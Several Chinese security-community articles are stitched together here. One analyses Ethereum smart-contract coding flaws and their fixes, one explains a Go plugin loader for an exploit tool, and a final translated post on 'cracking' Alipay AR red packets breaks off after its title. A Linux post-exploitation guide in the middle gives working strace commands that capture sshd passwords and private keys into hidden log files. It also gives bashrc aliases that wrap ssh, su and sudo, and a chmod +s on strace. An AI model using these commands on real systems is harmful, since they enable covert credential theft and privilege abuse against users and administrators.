这次我们提到的编码设计问题就和EVM底层的设计有很大的关系，由于EVM的特性，智能合约有很多与其他语言不同的特性，当开发者没有注意到这些问题时，就容易出现潜在的问题。
#### 1、地址初始化问题
在EVM中，所有与地址有关的初始化时，都会赋予初值0。
如果一个address变量与0相等时，说明该变量可能未初始化或出现了未知的错误。
如果开发者在代码中初始化了某个address变量，但未赋予初值，或用户在发起某种操作时，误操作未赋予address变量，但在下面的代码中需要对这个变量做处理，就可能导致不必要的安全风险。
#### 2、判断函数问题
在智能合约中，有个很重要的校验概念。下面这种问题的出现主要是合约代币的内部交易。
但如果在涉及到关键判断（如余额判断）等影响到交易结果时，当交易发生错误，我们需要对已经执行的交易结果进行回滚，而EVM不会检查交易函数的返回结果。如果我们使用return
false，EVM是无法获取到这个错误的，则会导致在之前的文章中提到的[假充值问题](https://paper.seebug.org/663/#3)。
在智能合约中，我们需要抛出这个错误，这样EVM才能获取到错误触发底层的revert指令回滚交易。
而在solidity扮演这一角色的，正是require函数。而有趣的是，在solidity中，还有一个函数叫做assert，和require不同的是，它底层对应的是空指令，EVM执行到这里时就会报错退出，不会触发回滚。
转化到直观的交易来看，如果我们使用assert函数校验时，assert会消耗掉所有剩余的gas。而require会触发回滚操作。
assert在校验方面展现了强一致性，除了对固定变量的检查以外，require更适合这种情况下的使用。
#### 3、余额判断问题
在智能合约中，经常会出现对用户余额的判断，尤其是账户初建时，许多合约都会对以合约创建时余额为0来判断合约的初建状态，这是一种错误的行为。
在智能合约中，永远无法阻止别人向你的强制转账，即使fallback函数throw也不可以。攻击者可以创建带有余额的新合约，然后调用`selfdestruct(victimAddress)`销毁，这样余额就会强制转移给目标，在这个过程中，不会调用目标合约的代码，所以无法从代码层面阻止。
值得注意的是，在打包的过程中，攻击者可以通过条件竞争来在合约创建前转账，这样在合约创建时余额就为0了。
#### 4、转账函数问题
在智能合约中，涉及到转账的操作最常见不过了。而在solidity中，提供了两个函数用于转账tranfer/send。
当tranfer/send函数的目标是合约时，会调用合约内的fallback函数。但当fallback函数执行错误时，transfer函数会抛出错误并回滚，而send则会返回false。如果在使用send函数交易时，没有及时做判断，则可能出现转账失败却余额减少的情况。
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}
上面给出的代码中使用 send() 函数进行转账，因为这里没有验证 send() 返回值，如果msg.sender 为合约账户 fallback()
调用失败，则 send() 返回false，最终导致账户余额减少了，钱却没有拿到。
#### 5、代码外部调用设计问题
在智能合约的设计思路中，有一个很重要的概念为外部调用。或是调用外部合约，又或是调用其它账户。这在智能合约的设计中是个很常见的思路，最常见的便是转账操作，就是典型的外部调用。
但外部调用本身就是一个容易发生错误的操作，谁也不能肯定在和外部合约/用户交互时能确保顺利，举一个合约代币比较常见的例子
contract auction {
address highestBidder;
uint highestBid;
function bid() payable {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
if (!highestBidder.send(highestBid)) { // 可能会发生错误
throw;
}
}
highestBidder = msg.sender;
highestBid = msg.value;
}
}
上述代码当转账发生错误时可能会导致进一步其他的错误，如果碰到循环调用bid函数时，更可能导致循环到中途发生错误，在之前提到的[ddos优化问题](https://paper.seebug.org/679/#1_1)中，这也是一个很典型的例子。
而这就是一个典型的push操作，指合约主动和外部进行交互，这种情况容易出现问题是难以定位难以弥补，导致潜在的问题。
#### 6、错误处理
智能合约中，有一些涉及到address底层操作的方法
address.call()
address.callcode()
address.delegatecall()
address.send()
他们都有一个典型的特点，就是遇到错误并不会抛出错误，而是会返回错误并继续执行。
且作为EVM设计的一部分，下面这些函数如果调用的合约不存在，将会返回True。如果合约开发者没有注意到这个问题，那么就有可能出现问题。
call、delegatecall、callcode、staticcall
<http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/#4-Unchecked-Return-Values-For-Low-Level-Calls>
#### 7、弱随机数问题
智能合约是借助EVM运行，跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。而如何在合约上生成随机数就成了一个大问题。
Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数，导致随机数种子只受到合约地址影响，无法做到完全随机。
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大，超过数千eth。
[8万笔交易「封死」以太坊网络，只为抢夺Fomo3D大奖？](https://mp.weixin.qq.com/s/5nrgj8sIZ0SlXebG5sWVPw)
[Last Winner ](https://paper.seebug.org/672/)
### 三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约扫描功能规则，我们对全网的公开的共42538个合约代码进行了扫描，其中35107个合约存在地址初始化问题，4262个合约存在判断函数问题，173个合约存在余额判断问题，930个合约存在转账函数问题，
349个合约存在弱随机数问题，2300个合约调用了block.timestamp，过半合约涉及到这类安全风险。
#### 1、地址初始化问题
截止2018年9月21日，我们发现了35107个存在地址初始化问题的合约代码，存在潜在的安全隐患。
#### 2、判断函数问题
截止2018年9月21日，我们发现了4262个存在判断函数问题的合约代码，存在潜在的安全隐患。
#### 3、余额判断问题
截止2018年9月21日，我们发现了173个存在余额判断问题的合约代码，其中165个仍处于交易状态，其中交易量最高的10个合约情况如下：
#### 4、转账函数问题
截止2018年9月21日，我们发现了930个存在转账函数问题的合约代码，其中873个仍处于交易状态，其中交易量最高的10个合约情况如下：
#### 5、弱随机数问题
截止2018年9月21日，我们发现了349个存在弱随机数问题的合约代码，其中272个仍处于交易状态，其中交易量最高的10个合约情况如下：
截止2018年9月21日，我们发现了2300个存在调用了block.timestamp的合约代码，其中2123个仍处于交易状态，其中交易量最高的10个合约情况如下：
### 四、修复方式
#### 1、地址初始化问题
涉及到地址的函数中，建议加入require(_to!=address(0))验证，有效避免用户误操作或未知错误导致的不必要的损失
#### 2、判断函数问题
对于正常的判断来说，优先使用`require`来判断结果。
而对于固定变量的检查，使用assert函数可以避免一些未知的问题，因为他会强制终止合约并使其无效化，在一些固定条件下，assert更适用
#### 3、余额判断问题
不要在合约任何地方假设合约的余额，尤其是不要通过创建时合约为0来判断合约初建状态，攻击者可以使用多种方式强制转账。
#### 4、转账函数问题
在完成交易时，默认推荐使用transfer函数而不是send完成交易。
#### 5、代码外部调用设计问题
对于外部合约优先使用pull而不是push。如上述的转账函数，可以通过赋予提取权限来将主动行为转换为被动行为
contract auction {
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() payable external {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
refunds[highestBidder] += highestBid; // 记录在refunds中
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawRefund() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
if (!msg.sender.send(refund)) {
refunds[msg.sender] = refund; // 如果转账错误还可以挽回
}
}
}
通过构建withdraw来使用户来执行合约将余额取出。
#### 6、错误处理
合约中涉及到call等在address底层操作的方法时，做好合理的错误处理
if(!someAddress.send(55)) {
// Some failure code
}
包括目标合约不存在时，也同样需要考虑。
#### 7、弱随机数问题
智能合约上随机数生成方式需要更多考量
在合约中关于这样的应用时，考虑更合适的生成方式和合理的利用顺序非常重要。
这里提供一个比较合理的随机数生成方式 **hash-commit-reveal**
，即玩家提交行动计划，然后行动计划hash后提交给后端，后端生成相应的hash值，然后生成对应的随机数reveal，返回对应随机数commit。这样，服务端拿不到行动计划，客户端也拿不到随机数。
有一个很棒的实现代码是[dice2win](https://etherscan.io/address/0xD1CEeeefA68a6aF0A5f6046132D986066c7f9426)的随机数生成代码。
当然 **hash-commit** 在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash，然后生成随机数，然后提交行动计划。
### 五、一些思考
在探索智能合约最佳实践的过程中，逐渐发现，在智能合约中有很多只有智能合约才会出现的问题，这些问题大多都是因为EVM的特殊性而导致的特殊特性，但开发者并没有对这些特性有所了解，导致很多的潜在安全问题诞生。
我把这一类问题归结为编码设计问题，开发者可以在编码设计阶段注意这些问题，可以避免大多数潜在安全问题。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
* * * | 社区文章 |
lz520520@深蓝攻防实验室
# 前言
插件化可以使一个工程的功能扩展更简单；代码的解耦，更易用维护，我们在很多工具中都能看到这个结构。同时插件化，也使得工程可以有更多人一起投入开发，不断去扩展更新工程的功能，也就是社区化开发。
像burpsuite中的插件使得该工具的功能被不断优化完善，大大提高我们的效率，像一些被动漏扫插件，验证码识别插件，越权测试插件等等。这些插件都是由burp使用者开发而非官方，不同人在工作学习中会有不同的idea，而如果仅仅依靠一个人或者一个小团队，可能是没那么多精力和想法去做到人人都能称手的工具，所以社区化很重要。
除此之外，像goby的poc、exp也是实现了插件化。而我看到的比较多的插件化是应用在java项目中的，这个主要原因是java强大的JVM，不需要重新编译主程序，即可动态加载class以及jar包，来实现功能扩展；而主程序只需要设计好插件的接口，插件开发者根据接口设计去实现特定功能就行了，这也是多态的表现。
参考一篇文章的解释
* 编译型语言就是需要使用编译器，在程序运行之前将代码编译成操作系统能够直接识别的机器码文件。运行时，操作系统直接拉起该文件，在 CPU 中直接运行
* 解释型语言则是在代码运行之前，需要先拉起一个解释程序，使用这个程序在运行时就可以根据代码的逻辑执行
编译型语言的典型例子就是 `汇编语言、C、C++、Objective-C、Go、Rust`等等。
解释型语言的典型例子就是 `JavaScript、PHP、Shell、Python、Lua` 等等。
至于 `Java`，从 JVM 的角度，它是一个编译型语言，因为编译出来的二进制码可以直接在 JVM 上执行。但从 CPU
的角度，它依然是一个解释型语言，因为 CPU 并不直接运行代码，而是间接地通过 JVM 解释 Java 二进制码从而实现逻辑运行。
所谓的 “脚本语言”
则是另外的一个概念，这一般指的是设计初衷就是用来开发一段小程序或者是小逻辑，然后使用预设的解释器解释这段代码并执行的程序语言。这是一个程序语言功能上的定义，理论上所有解释型语言都可以很方便的作为脚本语言，但是实际上我们并不会这么做，比如说
`PHP`和 `JS`就很少作为脚本语言使用。
可以看到，解释型语言天生适合作为脚本语言，因为它们原本就需要使用运行时来解释和运行代码。将运行时稍作改造或封装，就可以实现一个动态拉起脚本的功能。
那么现在就有一个问题，像编译型语言，该如何实现这种插件化呢，那就是将编译型语言变成脚本语言。
# 探索
由于我本身开发的一款工具是用基于go的，所以后续探索基于go的插件化。如上所言go也是一种编译型语言，而goby也是基于go开发的，所以我事先调研了goby是如何做的。
功能插件：主要是功能扩展，用js编写，类似chrome的插件方式。
exp插件：扩展漏洞poc/exp，有两种方案，json格式以及go代码。 官方文档<https://cn.gobies.org/exp.html#>
而我的目的也是做exp/poc插件，所以着重看了这部分
搜索了关键词
`\"GobyQuery\"`，其实和xray的yaml差不多，分为ScanSteps和ExploitSteps，需要填写一些参数，和xray的yaml差不多，这个还复杂些，估计是因为考虑适用人群范围要更大些，所以需要更多信息填写。
go代码编写
关键词：`*scanconfig.SingleScanConfig`
这个会更灵活应对复杂漏洞，poc和exp对应如下签名，然后通过ExpManager.AddExploit添加，这个算是编译型语言里常用的一种注册方式。
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult
看了上面的两种方式，第二种会更灵活些，而且实际上手难度也不大，而第二种方式了解到是通过一个开源解析引擎实现的，yaegi是一个go解释器，它在go运行时之上，为嵌入式解释器或交互式shell提供可执行go脚本和插件。
<https://github.com/traefik/yaegi>
所以后续就开始研究这个引擎
# yaegi
<https://github.com/traefik/yaegi>
目前yaegi仅支持到1.17，因为1.18增加了泛型，还未做好支持。
先简单尝试了下，确实可以实现go代码的解释执行。
简单看一下这段go代码的，他实现了从代码中获取函数引用，并且实现调用，这非常友好。
func TestTest(t *testing.T) {
// 测试
src := `
package plugins_test
import "fmt"
func printlog() {
fmt.Println("test")
}
`
intp := interp.New(interp.Options{}) // 初始化一个 yaegi 解释器
intp.Use(stdlib.Symbols) // 允许脚本调用（几乎）所有的 Go 官方 package 代码
_, err := intp.Eval(src) // 执行go代码
if err != nil {
panic(err)
}
v, _ := intp.Eval("plugins_test.printlog") // 由于上面以执行加载了一段go代码，所以这里可以通过package+funcname的方式来获取函数
fu := v.Interface().(func()) // 函数类型转换
fu() // 函数调用
}
现在还有一个问题，如果我需要在go脚本中导入第三方库，如何实现。其实可以注意到上面例子中`intp.Use(stdlib.Symbols)`，yaegi解释器分析了go脚本的语法之后，会将其中的符号调用与符号表中的目标进行链接。而`stdlib.Symbols`导出了go标准库中几乎所有的符号。
左侧就是解析的所有符号文件，并且可以看到他是通过yaegi extract提取生成的，结合了`go generate`。
查看生成的其中一个符号，这个包下的函数、变量都做了链接，注意他的key是包路径+包名，所以会出现archive/tar/tar的格式。
那么要实现第三方库的支持，就需要生成第三方库的符号表。
创建一个基础代码文件，按照参考的格式使用extract来生成
在库目录上右键Go Tools-Go Generate File即可自动生成。
生成的和我们看到的标准库是一样的。
`intp.Use`添加我们第三方库的符号表，然后我们再尝试在go脚本中导入第三方包执行，可成功执行
那么后面就可以投入插件设计了
# go的注册方式
其实如果到这，插件设计就应该没问题了，像goby那种通过一个管理包添加新的poc、exp，但因为我自己YY的漏洞框架不太一样，导致一些其他问题。
我是以一种类似java类的方式进行漏洞代码设计，每个漏洞，有一个专属的结构体，而漏洞的利用方式可能存在多种多样，我分为`GetMsg/Cmd/Reverse/Upload`4类，并且每一类也可能会研究出不同的payload，就会存在Cmd1/Cmd2等等，这就是我对于一个漏洞的利用方式设计。
而注册方式使用的是将结构体的引用和漏洞信息通过一个通用的注册函数添加，后续利用就是通过reflect包反射调用结构体方法。
注册是放在init函数中，init函数在go程序启动时会优先于man函数加载，从而能自动进行注册，而不需要手动去调用，这样就使得漏洞编写和注册显得简单了许多。
但这种方法存在的问题就是，是通过结构体去反射调用，但通过yaegi拿到的结构体是无法获取到他的结构体方法，导致无法使用。
这个就很麻烦了，如果调整漏洞框架着实难受，也不符合我想要的。可能会说，插件化代码另外整一套逻辑不就行了，但这样我想把插件代码合并编译到项目里的话就会非常麻烦，两套逻辑维护也麻烦，另一方面考虑这种解释执行的不一定稳定，所以想给自己留条后路，能合并的代码还是考虑合并。
# patch
我本来都放弃插件化了，后面想到一种曲线救国的方式。代码还是这么写，但我可以patch，在读取脚本代码后patch后在调用yaegi执行，这样就能解决结构体方法无法调用的问题。
那么patch思路是啥，既然他能正常调用函数，而不能正常调用结构体方法，那就patch添加一个封装的函数不就好了，然后注册这个函数。
patch后，这个函数大致如下
通过解析到的已有的方法，然后做个switch就好了
而包名、结构体名、方法名通过在脚本里添加一个新的结构体注册不就好了。然后再调用yaegi执行，这样就将NewExp注册到管理器里了。
以上的patch通过go自带的AST解析修改。
后续调用的话，函数比结构体调用还简单些，在注册到管理器里的时候标记下是插件，调用的时候判断如果是插件就单独调用就好，这块没太多需要修改的。
patch逻辑就如下，AST解析后存放到一个管理map里，然后遍历执行，需要注意的是，因为每个文件都patch了一个相同名字的函数，所以需要每次创建一个新的解释器。
# 效果
每次启动会自动加载，启动后，如果对代码文件做了修改，也支持热更新。
PS: 这里热更新做了个简单的hash校验，只会更新更改过的文件。
详细说明放到github，已实现poc/exp插件化，目前还在内测稳定性，后续会开放主程序。
<https://github.com/lz520520/railgunlib>
# 总结
这工具写了很久了，一直想做插件化，受限于go做插件化太麻烦了，折腾了好久终于找到一种可行的方案，就插件化来讲，java更适合，他强大的运行时使得这一切变得简单了许多。其他编译型语言就捉襟见肘了。写了这么久go，yaegi算是一种解救吧，其实如果说到插件化，其实能应用的场景就可以发散下，比如用在马中，实现opsec
# 参考
<https://cloud.tencent.com/developer/article/1890816> | 社区文章 |
# linux后渗透之收集登录凭证
当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究linux系统下的通过调试程序的方法，跟踪进程数据的方式收集登录凭证。
strace是linux中的调试工具，可通过附加到进程来调试正在运行的进程，strace记录一个正在运行的程序正在执行的系统调用以及参数。我们可以通过这种方式来跟踪任何进程数据，比如`sshd
ssh su sudo`等进程数据来获取登录凭证。
例如，如果一个应用程序（例如Pidgin）遭到入侵，攻击者就有可能附加到其他正在运行的进程（例如Firefox，SSH会话，GPG代理等）以提取其他凭证并继续扩大范围，无需借助用户协助的网络钓鱼就可以进行攻击。
## strace简介
### 安装strace
# 能出网
yum install strace -y
apt install strace -y
# 不能出网
上传对应安装包，手工安装，或者编译安装
### strace使用条件
Linux Kernel
3.4及更高版本支持完全限制或禁用ptrace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。默认情况下，大多数发行版都将其设置为1。根据Linux
Kernel Yama Documentation，这些数字映射到以下权限：
0-经典ptrace权限：进程可以将PTRACE_ATTACH传递给任何其他进程，只要它是可转储的（即没有转换uid，没有特权启动或没有调用prctl（PR_SET_DUMPABLE ...）。同样，PTRACE_TRACEME为不变。
1-受限制的ptrace：进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下，当上面的关系时，这种关系只是其后代的关系也符合经典标准。要改变关系，下级可以调用prctl（PR_SET_PTRACER，debugger，...）进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。
2-仅限管理员附加：只有具有CAP_SYS_PTRACE的进程才能使用ptrace，通过PTRACE_ATTACH，或通过子级调用PTRACE_TRACEME。
3-没有连接：任何进程都不能将ptrace与PTRACE_ATTACH一起使用，也不能通过PTRACE_TRACEME。设置后，该sysctl值将无法更改。
这样可以通过运行`sysctl
kernel.yama.ptrace_scope=3`在系统上禁用ptrace。但是，这可能会破坏正在运行的其他程序。例如，Wine在禁用ptrace的情况下无法正常工作。我建议您测试非生产服务器，并验证其所有功能在未启用ptrace的情况下能否正常运行。禁用ptrace还可以阻止某些调试功能。
**查看修改系统strace配置**
# 查看
cat /proc/sys/kernel/yama/ptrace_scope
# 修改
echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0
# 当kernel.yama.ptrace_scope的值设置为3后，必须重启系统后才能更改
### strace语法
-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column 设置返回值的输出位置.默认 为40.
-e expr 指定一个表达式,用来控制如何跟踪.格式：[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file 只跟踪有关文件操作的系统调用.
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的 系统调用
-e trace=ipc 跟踪所有与进程通讯有关的系统调用
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
-e write=set 输出写入到指定文件中的数据.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username的UID和GID执行被跟踪的命令
## 收集任意已有进程登录凭证
`strace -p`参数指定进程，收集对应进程的系统调用数据
### 获取sshd进程明文密码
1.root权限执行
# 使用括号执行程序，当前shell退出，执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
2.查找用户名和密码的正则表达式为`read\(6, ".+\\0\\0\\0\\.+"`
# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
# 结果形式如下
[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
### 获取sshd进程私钥
1.root权限执行
# 使用括号执行程序，当前shell退出，执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
2.查找私钥直接搜索字符串`PRIVATE KEY`
# 如果私钥设置的了密码，似乎不能抓到私钥密码
# 查找用户名和密码
grep 'PRIVATE KEY' /tmp/.sshd.log
# 结果形式如下
[pid 1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590
## 收集任意指定程序登录凭证
给指定程序设置命令别名，使运行指定程序时自动strace读写系统调用，收集登录凭证
### 收集ssh登录凭证
1.添加命令别名
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc
2.记录的strace文件如下：
936 write(4, "[email protected]'s password: ", 32) = 32
936 read(4, "t", 1) = 1
936 read(4, "o", 1) = 1
936 read(4, "o", 1) = 1
936 read(4, "r", 1) = 1
936 read(4, "\n", 1) = 1
936 write(4, "\n", 1) = 1
3.可以通过正则`.+@.+\bpassword`定位密码位置
### 收集`su、sudo`等需要提升权限运行的程序的登录凭证
1.给strace程序添加suid权限，即以root权限执行
# 查看strace文件位置
which strace
/usr/bin/strace
# 添加suid权限
chmod +s /usr/bin/strace
2.添加命令别名
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
# 使命令别名立即生效
source ~/.bashrc
3.记录的strace文件如下：
write(6, "[sudo] password for kali: ", 26) = 26
read(6, "i", 1) = 1
read(6, "l", 1) = 1
read(6, "a", 1) = 1
read(6, "k", 1) = 1
read(6, "\n", 1) = 1
4.根据程序运行输出的特征字符串定位密码位置
## 总结
当linux系统配置文件`/proc/sys/kernel/yama/ptrace_scope`值不为`3`时，可以通过`strace`记录任何程序的系统调用（常用read、write调用）来获取登录凭证
## 参考链接
* <https://klionsec.github.io/2016/09/22/strace/>
* <https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/>
* <https://www.kernel.org/doc/Documentation/security/Yama.txt> | 社区文章 |
# 【技巧分享】技术流花式“破解”支付宝AR红包，更多技巧征集中(12.24更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
